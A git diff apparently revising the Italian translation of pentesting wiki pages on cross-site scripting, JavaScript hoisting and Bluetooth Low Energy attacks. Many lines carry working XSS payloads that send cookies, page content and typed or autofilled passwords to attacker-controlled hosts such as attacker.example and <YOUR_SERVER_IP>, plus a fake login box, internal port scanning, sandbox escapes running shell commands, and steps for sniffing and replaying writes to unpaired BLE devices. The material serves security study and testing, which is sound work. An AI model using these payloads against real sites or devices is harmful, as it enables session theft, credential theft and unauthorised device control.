-In altri browser altri **`Content-Types`** possono essere usati per eseguire JS arbitrario, controlla: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+In altri browser altri **`Content-Types`** possono essere usati per eseguire JS arbitrario, vedi: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
@@ -979,11 +978,11 @@ Se la pagina restituisce un content-type text/xml, è possibile indicare un name
 
 <!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
 ```
-### Schemi di sostituzione speciali
+### Pattern di Sostituzione Speciali
 
-Quando viene usato qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**. L'attaccante potrebbe usare [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Quando viene usato qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`** l'attaccante potrebbe usare [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Per esempio in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per **eseguire l'escape di una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
+Per esempio, in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per effettuare l'escape di una JSON string all'interno di uno script ed eseguire codice arbitrario.
 
 ### Chrome Cache to XSS
 
@@ -994,7 +993,7 @@ chrome-cache-to-xss.md
 
 ### XS Jails Escape
 
-If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems:
+Se hai a disposizione solo un set limitato di caratteri da usare, controlla queste altre soluzioni valide per problemi di XSJail:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -1025,16 +1024,16 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Se **everything is undefined** prima di eseguire codice non attendibile (come in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non attendibile:
+Se **tutto è undefined** prima di eseguire codice non attendibile (come in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non attendibile:
 
-- Usando import()
+- Using import()
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Accesso indiretto a `require`
 
-[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli vengono avvolti da Node.js all'interno di una funzione, come segue:
+[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono avvolti da Node.js all'interno di una funzione, come segue:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
@@ -1049,7 +1048,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-In modo analogo all'esempio precedente, è possibile **use error handlers** per accedere al **wrapper** del modulo e ottenere la funzione **`require`**:
+In modo simile all'esempio precedente, è possibile **usare error handlers** per accedere al **wrapper** del module e ottenere la funzione **`require`**:
 ```javascript
 try {
 null.f()
@@ -1087,9 +1086,9 @@ console.log(req("child_process").execSync("id").toString())
 }
 trigger()
 ```
-### Obfuscation & Advanced Bypass
+### Offuscamento & Bypass Avanzato
 
-- **Different obfuscations in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **Diverse offuscazioni in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@@ -1268,7 +1267,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## Payloads comuni per XSS
+## Payload comuni per XSS
 
 ### Diversi payloads in 1
 
@@ -1277,16 +1276,16 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 steal-info-js.md
 {{#endref}}
 
-### Trappola Iframe
+### Iframe Trap
 
-Far navigare l'utente nella pagina senza uscire dall'iframe e rubare le sue azioni (incluse le informazioni inviate nei form):
+Permette all'utente di navigare nella pagina senza uscire da un iframe e di intercettare le sue azioni (inclusi i dati inviati nei form):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Recuperare i cookie
+### Recuperare Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1309,7 +1308,7 @@ Far navigare l'utente nella pagina senza uscire dall'iframe e rubare le sue azio
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Non potrai accedere ai cookies da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.
+> **Non potrai accedere ai cookies da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.
 
 ### Rubare il contenuto della pagina
 ```javascript
@@ -1324,7 +1323,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### Trovare IP interni
+### Trova IP interni
 ```html
 <script>
 var q = []
@@ -1400,15 +1399,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano nessuna risposta._
+_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano assenza di risposta._
 
 Consulta la lista delle porte bloccate in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Box per richiedere le credenziali
+### Riquadro per richiedere credenziali
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Cattura delle password autocompilate
+### Cattura delle password tramite compilazione automatica
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1419,11 +1418,11 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Quando vengono inseriti dati nel campo password, il username e la password vengono inviati al attackers server; anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrated.
+Quando viene inserito qualsiasi dato nel campo password, lo username e la password vengono inviati all'attacker's server; anche se il client seleziona una saved password e non scrive nulla, le credentials verranno ex-filtrated.
 
 ### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-Se un handler critico (e.g., `function DoLogin(){...}`) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (e.g., via un inline JS-in-JS sink), definisci prima un `const` con lo stesso nome per anticipare e bloccare l'handler. Dichiarazioni di funzione successive non possono riassegnare un nome `const`, lasciando il tuo hook al controllo:
+Se un handler critico (es., `function DoLogin(){...}`) viene dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (es., tramite un inline JS-in-JS sink), definisci prima un `const` con lo stesso nome per anticipare e bloccare il handler. Dichiarazioni di funzione successive non possono riassegnare un nome `const`, lasciando il tuo hook in controllo:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@@ -1431,21 +1430,21 @@ const user = Trim(FormInput.InputUtente.value);
 fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
 };
 ```
-Note
-- Questo si basa sull'ordine di esecuzione: la tua injection deve eseguire prima della dichiarazione legittima.
-- Se il tuo payload è incapsulato in `eval(...)`, i binding `const/let` non diventeranno globali. Usa la tecnica di injection dinamica con `<script>` dalla sezione “Deliverable payloads with eval(atob()) and scope nuances” per garantire un binding globale reale e non riassegnabile.
-- Quando i filtri per keyword bloccano il codice, combinali con identificatori Unicode-escaped o con la delivery `eval(atob('...'))`, come mostrato sopra.
+Notes
+- This relies on execution order: your injection must execute before the legitimate declaration.
+- Se il tuo payload è racchiuso in `eval(...)`, i binding `const/let` non diventeranno globali. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
+- Quando i filtri basati su keyword bloccano il codice, combina identificatori Unicode-escaped o la consegna tramite `eval(atob('...'))`, come mostrato sopra.
 
 ### Keylogger
 
-Cercando su github ho trovato alcuni esempi diversi:
+Cercando su github ne ho trovati diversi:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 - Puoi anche usare metasploit `http_javascript_keylogger`
 
-### Stealing CSRF tokens
+### Rubare token CSRF
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1468,14 +1467,14 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-### Abuso dei Service Workers
+### Abusing Service Workers
 
 
 {{#ref}}
 abusing-service-workers.md
 {{#endref}}
 
-### Accesso allo Shadow DOM
+### Accessing Shadow DOM
 
 
 {{#ref}}
@@ -1489,7 +1488,7 @@ shadow-dom.md
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### Payloads per Blind XSS
+### Blind XSS payloads
 
 Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
 ```html
@@ -1556,9 +1555,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 <!-- In case your target makes use of AngularJS -->
 {{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
-### Regex - Accedere a contenuti nascosti
+### Regex - Accesso ai contenuti nascosti
 
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possibile apprendere che anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS in oggetti diversi. Per esempio, un input di una REGEX è ancora possibile trovarlo dopo che il valore dell'input della regex è stato rimosso:
+Da [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS di diversi oggetti. Ad esempio, un input di una REGEX può ancora essere trovato anche dopo che il valore dell'input della REGEX è stato rimosso:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1575,7 +1574,7 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Brute-Force List
+### Lista Brute-Force
 
 
 {{#ref}}
@@ -1586,7 +1585,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 
 ### XSS in Markdown
 
-Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:
+È possibile iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:
 
 
 {{#ref}}
@@ -1595,24 +1594,24 @@ xss-in-markdown.md
 
 ### XSS a SSRF
 
-Hai trovato XSS su un **sito che usa caching**? Prova a **trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
+Hai XSS su un sito che usa caching? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Usalo per eludere le restrizioni sui cookie, i filtri XSS e molto altro!\
+Usalo per bypassare le restrizioni dei cookie, i filtri XSS e molto altro!\
 Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
 ### XSS in PDF creato dinamicamente
 
-Se una pagina web crea un PDF usando input controllati dall'utente, puoi provare a **ingannare il bot** che crea il PDF per fargli **eseguire codice JS arbitrario**.\
-Quindi, se il **PDF creator bot trova** qualche tipo di **tag HTML**, li **interpreta**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
+Se una pagina web sta creando un PDF usando input controllato dall'utente, puoi provare a **ingannare il bot** che crea il PDF affinché **esegua codice JS arbitrario**.\
+Quindi, se il **PDF creator bot finds** qualche tipo di **tag HTML**, li interpreterà, e puoi **abusare** di questo comportamento per causare una **Server XSS**.
 
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-Se non puoi iniettare tag HTML potrebbe valere la pena provare a **iniettare dati PDF**:
+Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare dati PDF**:
 
 
 {{#ref}}
@@ -1621,9 +1620,9 @@ pdf-injection.md
 
 ### XSS in Amp4Email
 
-AMP, progettato per accelerare le prestazioni delle pagine web su dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, progettato per accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email.
+The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format estende componenti AMP specifici alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email.
 
 Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
@@ -1685,9 +1684,9 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-Trova **più payloads SVG su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+Trova **più payload SVG su** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Trucchi JS vari e informazioni rilevanti
+## Varie tecniche JS e informazioni rilevanti
 
 
 {{#ref}}

src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

@@ -4,29 +4,29 @@
 
 ## Informazioni di base
 
-Nel linguaggio JavaScript esiste un meccanismo chiamato **Hoisting** in cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente sollevate all'inizio del loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.
+Nel linguaggio JavaScript esiste un meccanismo noto come **Hoisting** per cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente spostate all'inizio del loro scope prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.
 
-Durante il primo passaggio, il motore esegue il parsing del codice per verificare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate all'inizio del contesto di esecuzione. Se la fase di parsing ha successo, indicando l'assenza di errori di sintassi, l'esecuzione dello script procede.
+Durante il primo passaggio, il motore esegue il parsing del codice per verificare la presenza di errori di sintassi e lo trasforma in un albero di sintassi astratto. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate in cima al contesto di esecuzione. Se la fase di parsing ha successo, cioè non rileva errori di sintassi, l'esecuzione dello script procede.
 
-È cruciale comprendere che:
+È fondamentale capire che:
 
-1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole di sintassi devono essere rispettate rigorosamente.
+1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole sintattiche devono essere rispettate rigorosamente.
 2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dello hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale.
 
 #### Tipi di Hoisting
 
 Secondo MDN, ci sono quattro tipi distinti di hoisting in JavaScript:
 
-1. **Value Hoisting**: Permette di usare il valore di una variabile all'interno del suo ambito prima della sua riga di dichiarazione.
-2. **Declaration Hoisting**: Permette di riferirsi a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`.
-3. Questo tipo modifica il comportamento all'interno del suo ambito perché la dichiarazione della variabile avviene prima della sua effettiva riga di dichiarazione.
+1. **Value Hoisting**: Permette di utilizzare il valore di una variabile all'interno del suo scope prima della sua linea di dichiarazione.
+2. **Declaration Hoisting**: Permette di riferirsi a una variabile nel suo scope prima della dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`.
+3. Questo tipo altera il comportamento all'interno del suo scope a causa della dichiarazione della variabile prima della sua reale linea di dichiarazione.
 4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato.
 
-Nello specifico, le dichiarazioni di funzione mostrano il comportamento di hoisting di tipo 1. La keyword `var` mostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano il comportamento di tipo 3. Infine, le istruzioni `import` sono uniche in quanto vengono hoisted con i comportamenti sia di tipo 1 sia di tipo 4.
+In dettaglio, le dichiarazioni di function mostrano il comportamento di hoisting di tipo 1. La keyword `var` dimostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano il comportamento di tipo 3. Infine, le istruzioni `import` sono uniche in quanto vengono hoisted con comportamenti sia di tipo 1 sia di tipo 4.
 
 ## Scenari
 
-Pertanto, se ti trovi in scenari in cui puoi **Inject JS code after an undeclared object** is used, potresti **fix the syntax** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore):
+Pertanto, se hai scenari in cui puoi **Inject JS code after an undeclared object** (quando un oggetto non dichiarato viene usato), potresti **correggere la sintassi** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -131,7 +131,7 @@ trigger()
 ```
 ### Anticipare dichiarazioni successive bloccando un nome con const
 
-Se puoi eseguire del codice prima che una `function foo(){...}` di livello top venga parsata, dichiarare un binding lessicale con lo stesso nome (es., `const foo = ...`) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere sfruttato in RXSS per dirottare handler critici definiti più avanti nella pagina:
+Se puoi eseguire codice prima che una top-level `function foo(){...}` venga parsata, dichiarare un binding lessicale con lo stesso nome (es., `const foo = ...`) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere abusato in RXSS per hijackare handler critici definiti più avanti nella pagina:
 ```javascript
 // Malicious code runs first (e.g., earlier inline <script>)
 const DoLogin = () => {
@@ -144,8 +144,8 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
 function DoLogin(){ /* ... */ } // cannot override the existing const binding
 ```
 Note
-- Questo si basa sull'ordine di esecuzione e sullo scope globale (top-level).
-- Se il tuo payload viene eseguito all'interno di `eval()`, ricordati che `const/let` dentro `eval` sono a livello di blocco e non creeranno binding globali. Inserisci un nuovo elemento `<script>` con il codice per stabilire un vero `const` globale.
+- Questo si basa sull'ordine di esecuzione e sull'ambito globale (top-level).
+- Se il tuo payload viene eseguito dentro `eval()`, ricorda che `const/let` dentro `eval` sono block-scoped e non creeranno binding globali. Inietta un nuovo elemento `<script>` con il codice per stabilire un vero `const` globale.
 
 ## Riferimenti
 

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

@@ -4,21 +4,21 @@
 
 ## Introduzione
 
-Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, che coprono la gamma da 2400 a 2483.5 MHz. In confronto, il Bluetooth tradizionale utilizza 79 canali nello stesso intervallo.
+Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, coprendo l'intervallo da 2400 a 2483,5 MHz. In confronto, il Bluetooth tradizionale usa 79 canali nello stesso intervallo.
 
-I dispositivi BLE comunicano inviando **advertising packets** (**beacons**), questi pacchetti trasmettono l'esistenza del dispositivo BLE ad altri dispositivi nelle vicinanze. Questi beacons a volte **inviamo dati**, anche.
+I dispositivi BLE comunicano inviando **pacchetti di advertising** (**beacon**); questi pacchetti trasmettono l'esistenza del dispositivo BLE agli altri dispositivi vicini. Questi beacon talvolta **invieranno anche dati**.
 
-Il dispositivo che ascolta, chiamato anche central device, può rispondere a un advertising packet con una **SCAN request** inviata specificamente al dispositivo che effettua l'advertising. La **response** a quella scan utilizza la stessa struttura dell'**advertising** packet con informazioni aggiuntive che non potevano entrare nella richiesta di advertising iniziale, come il nome completo del dispositivo.
+Il dispositivo in ascolto, chiamato anche dispositivo centrale, può rispondere a un pacchetto di advertising con una **SCAN request** inviata specificamente al dispositivo che sta advertising. La **response** a quella scan usa la stessa struttura del pacchetto di **advertising** con informazioni aggiuntive che non potevano entrare nella richiesta di advertising iniziale, come il nome completo del dispositivo.
 
 ![](<../../images/image (152).png>)
 
-Il byte di preambolo sincronizza la frequenza, mentre l'access address di quattro byte è un **identificatore di connessione**, usato in scenari in cui più dispositivi cercano di stabilire connessioni sugli stessi canali. Successivamente, la Protocol Data Unit (**PDU**) contiene gli **advertising data**. Esistono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi usano il tipo PDU **ADV_NONCONN_IND** se **non accettano connessioni**, trasmettendo dati solo nel pacchetto di advertising. I dispositivi usano **ADV_IND** se **consentono connessioni** e **smettono di inviare advertising** packets una volta che una **connessione** è stata **stabilita**.
+Il byte di preambolo sincronizza la frequenza, mentre l'indirizzo di accesso di quattro byte è un identificatore di **connection**, usato negli scenari in cui più dispositivi cercano di stabilire connessioni sugli stessi canali. Successivamente, la Protocol Data Unit (**PDU**) contiene i **dati di advertising**. Esistono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi usano il tipo di PDU **ADV_NONCONN_IND** se **non accettano connessioni**, trasmettendo dati solo nel pacchetto di advertising. I dispositivi usano **ADV_IND** se **consentono connessioni** e smettono di inviare pacchetti di advertising una volta che una **connection** è stata **stabilita**.
 
 ### GATT
 
-Il **Generic Attribute Profile** (GATT) definisce come **il dispositivo dovrebbe formattare e trasferire i dati**. Quando stai analizzando l'attack surface di un dispositivo BLE, spesso concentrerai la tua attenzione sul GATT (o sui GATT), perché è il modo in cui **la funzionalità del dispositivo viene attivata** e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le characteristics, descriptors e services di un dispositivo in una tabella come valori a 16 o 32 bit. Una **characteristic** è un valore di **dati** **inviato** tra il central device e il peripheral. Queste characteristics possono avere **descriptors** che **forniscono informazioni aggiuntive su di esse**. Le **Characteristics** sono spesso **raggruppate** in **services** se sono correlate all'esecuzione di una particolare azione.
+La Generic Attribute Profile (GATT) definisce come il **dispositivo deve formattare e trasferire i dati**. Quando analizzi la superficie di attacco di un dispositivo BLE, spesso concentri la tua attenzione sul GATT (o sui GATT), perché è il modo in cui la **funzionalità del dispositivo viene attivata** e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le caratteristiche, i descriptor e i servizi di un dispositivo in una tabella come valori a 16 o 32 bit. Una **characteristic** è un valore di **dati** **inviato** tra il dispositivo centrale e il peripheral. Queste characteristic possono avere dei descriptor che **forniscono informazioni aggiuntive su di esse**. Le **characteristic** sono spesso **raggruppate** in **servizi** se sono correlate all'esecuzione di una particolare azione.
 
-## Enumerazione
+## Enumeration
 ```bash
 hciconfig #Check config, check if UP or DOWN
 # If DOWN try:
@@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
 >> ble.write <MAC ADDR> <UUID> <HEX DATA>
 >> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
 ```
-## Sniffing e controllo attivo dei dispositivi BLE non associati
+## Sniffing e controllo attivo di dispositivi BLE non accoppiati
 
-Molti periferici BLE a basso costo non impongono pairing/bonding. Senza bonding, la cifratura del Link Layer non viene mai abilitata, quindi il traffico ATT/GATT è in chiaro. Un off-path sniffer può seguire la connessione, decodificare le operazioni GATT per apprendere gli handle e i valori delle characteristic, e qualsiasi host nelle vicinanze può poi connettersi e riprodurre quelle scritture per controllare il dispositivo.
+Molti periferici BLE a basso costo non impongono pairing/bonding. Senza bonding, la cifratura del Link Layer non viene mai abilitata, quindi il traffico ATT/GATT è in chiaro. Uno sniffer off-path può seguire la connessione, decodificare le operazioni GATT per apprendere gli handle e i valori delle characteristic, e qualsiasi host nelle vicinanze può poi connettersi e riprodurre quelle scritture per controllare il dispositivo.
 
-### Sniffing with Sniffle (CC26x2/CC1352)
+### Sniffing con Sniffle (CC26x2/CC1352)
 
 Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) riprogrammato con il firmware Sniffle di NCC Group.
 
-Installa Sniffle e il suo Wireshark extcap su Linux:
+Installare Sniffle e il suo Wireshark extcap su Linux:
 ```bash
 if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
 echo "[+] - Sniffle not installed! Installing at 1.10.0..."
@@ -91,7 +91,7 @@ else
 echo "[+] - Sniffle already installed at 1.10.0"
 fi
 ```
-Flasha il Sonoff con il firmware Sniffle (assicurati che il tuo dispositivo seriale corrisponda, ad es. /dev/ttyUSB0):
+Flash Sonoff con Sniffle firmware (assicurati che il tuo dispositivo seriale sia corretto, ad esempio /dev/ttyUSB0):
 ```bash
 pushd /opt/sniffle/
 wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
 deactivate
 popd
 ```
-Cattura in Wireshark tramite lo Sniffle extcap e pivot rapidamente verso state-changing writes filtrando:
+Cattura in Wireshark tramite Sniffle extcap e pivot rapidamente verso state-changing writes filtrando:
 ```text
 _ws.col.info contains "Sent Write Command"
 ```
-Questo mette in evidenza gli ATT Write Commands dal client; l'handle e il value spesso si mappano direttamente alle azioni del dispositivo (es., scrivere 0x01 su una characteristic buzzer/alert, 0x00 per fermarla).
+Questo evidenzia ATT Write Commands dal client; l'handle e il valore spesso mappano direttamente ad azioni del dispositivo (es., write 0x01 a una characteristic buzzer/alert, 0x00 per fermare).
 
-Esempi rapidi di Sniffle CLI:
+Esempi rapidi della Sniffle CLI:
 ```bash
 python3 scanner.py --output scan.pcap
 # Only devices with very strong signal
@@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
 # Filter advertisements containing a string
 python3 sniffer.py --string "banana" --output sniff.pcap
 ```
-Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
+Alternative sniffer: nRF Sniffer di Nordic per BLE + plugin Wireshark funziona anche. Su dongle Nordic piccoli/economici solitamente si sovrascrive il bootloader USB per caricare il firmware del sniffer, quindi o si mantiene un dongle sniffer dedicato oppure serve un J-Link/JTAG per ripristinare il bootloader in seguito.
 
 ### Controllo attivo via GATT
 
-Una volta identificati un writable characteristic handle e il valore dal traffico sniffato, connettiti come qualsiasi central ed esegui la stessa write:
+Una volta identificato un handle di characteristic scrivibile e il valore dal traffico sniffato, connettiti come qualsiasi central e invia la stessa write:
 
-- With Nordic nRF Connect for Desktop (BLE app):
-- Seleziona il dongle nRF52/nRF52840, esegui la scan e connettiti al target.
-- Esplora il database GATT, individua la target characteristic (spesso ha un nome amichevole, e.g., Alert Level).
-- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
+- Con Nordic nRF Connect for Desktop (BLE app):
+- Seleziona il dongle nRF52/nRF52840, scansiona e connettiti al target.
